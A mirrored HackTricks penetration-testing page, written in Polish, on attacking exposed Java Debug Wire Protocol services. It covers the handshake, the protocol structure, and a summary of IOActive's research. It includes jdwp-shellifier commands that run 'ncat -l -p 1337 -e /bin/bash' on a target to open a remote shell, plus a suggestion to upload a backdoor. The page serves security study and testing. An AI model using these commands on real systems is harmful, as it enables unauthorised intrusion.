mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
67 lines
4.6 KiB
Markdown
67 lines
4.6 KiB
Markdown
# Pentesting JDWP - Java Debug Wire Protocol
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Wykorzystywanie
|
|
|
|
Wykorzystanie JDWP opiera się na **braku uwierzytelniania i szyfrowania** protokołu. Zwykle znajduje się na **porcie 8000**, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci.
|
|
|
|
Jeśli chodzi o identyfikację procesów, wyszukiwanie ciągu "jdwk" w procesach Java może wskazywać na aktywną sesję JDWP.
|
|
|
|
Narzędziem, które warto użyć, jest [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Możesz go używać z różnymi parametrami:
|
|
```bash
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
|
```
|
|
Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że exploit jest bardziej **stabilny**. A jeśli masz możliwość przesłania backdoora na hosta i jego wykonania zamiast wykonywania polecenia, exploit będzie jeszcze bardziej stabilny.
|
|
|
|
## Więcej szczegółów
|
|
|
|
**To jest podsumowanie [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Sprawdź to, aby uzyskać dalsze szczegóły.
|
|
|
|
1. **Przegląd JDWP**:
|
|
|
|
- To protokół binarny oparty na pakietach, głównie synchroniczny.
|
|
- Brak uwierzytelniania i szyfrowania, co czyni go podatnym na ataki w przypadku wystawienia na wrogie sieci.
|
|
|
|
2. **Uścisk dłoni JDWP**:
|
|
|
|
- Używany jest prosty proces uścisku dłoni do inicjowania komunikacji. Wymieniana jest 14-znakowa ciąg ASCII „JDWP-Handshake” między Debuggerem (klientem) a Debuggee (serwerem).
|
|
|
|
3. **Komunikacja JDWP**:
|
|
|
|
- Wiadomości mają prostą strukturę z polami takimi jak Długość, Id, Flaga i CommandSet.
|
|
- Wartości CommandSet wahają się od 0x40 do 0x80, reprezentując różne akcje i zdarzenia.
|
|
|
|
4. **Eksploatacja**:
|
|
|
|
- JDWP pozwala na ładowanie i wywoływanie dowolnych klas i bajtkodu, co stwarza zagrożenia dla bezpieczeństwa.
|
|
- Artykuł szczegółowo opisuje proces eksploatacji w pięciu krokach, obejmujących pobieranie odniesień do Java Runtime, ustawianie punktów przerwania i wywoływanie metod.
|
|
|
|
5. **Eksploatacja w rzeczywistości**:
|
|
|
|
- Pomimo potencjalnych zabezpieczeń zapory, usługi JDWP są wykrywalne i podatne na ataki w rzeczywistych scenariuszach, co zostało udowodnione przez wyszukiwania na platformach takich jak ShodanHQ i GitHub.
|
|
- Skrypt exploita był testowany na różnych wersjach JDK i jest niezależny od platformy, oferując niezawodne zdalne wykonanie kodu (RCE).
|
|
|
|
6. **Implikacje bezpieczeństwa**:
|
|
- Obecność otwartych usług JDWP w internecie podkreśla potrzebę regularnych przeglądów bezpieczeństwa, wyłączania funkcji debugowania w produkcji oraz odpowiedniej konfiguracji zapory.
|
|
|
|
### **Referencje:**
|
|
|
|
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
|
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
|
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
|
- http://www.secdev.org/projects/scapy(no longer active)
|
|
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
|
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
|
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
|
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
|
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
|
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
|
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
|
- [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
|
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|